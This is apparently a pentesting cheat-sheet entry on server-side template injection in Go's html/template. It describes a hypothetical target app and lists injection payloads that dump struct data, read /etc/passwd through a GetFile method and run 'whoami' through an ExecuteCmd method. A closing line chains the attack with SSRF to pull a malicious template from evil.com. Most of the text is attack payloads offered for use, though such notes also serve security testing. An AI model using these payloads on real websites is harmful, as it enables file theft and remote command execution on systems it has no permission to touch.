Go SSTI
Golang html template is vulnerable to SSTI (Server Side Template Injection).
- [go-ssti-method-research](https://www.onsecurity.io/blog/go-ssti-method-research/)
Investigation
If a website uses a web framework written in Golang and uses html/template
module for parsing a template file or strings, we may inject this template with our custom template file/string.
Exploit
Assume a web application defines User
struct, GetFile
method, and ExecuteCmd
method.
// `main.go` of target website
type User struct {
Id string
Name string
}
// Read contents of the file and output it.
func GetFile(filepath string) {
...
}
// Execute system command.
func ExecuteCmd(cmd string) {
...
}
Payloads
{{ . }}
# Get the `User` struct values.
{{ .User }}
# Call the `GetFile` method to LFI.
{{ .GetFile "/etc/passwd" }}
# Call the `ExecuteCmd` method to RCE.
{{ .ExecuteCmd "whoami" }}
Also, if the website parses arbitrary template file, which concludes malicious payload like above, in some way e.g. SSRF(https://example.com/?file=http://evil.com/template.
)
This file will be parsed by the website and lead SSTI.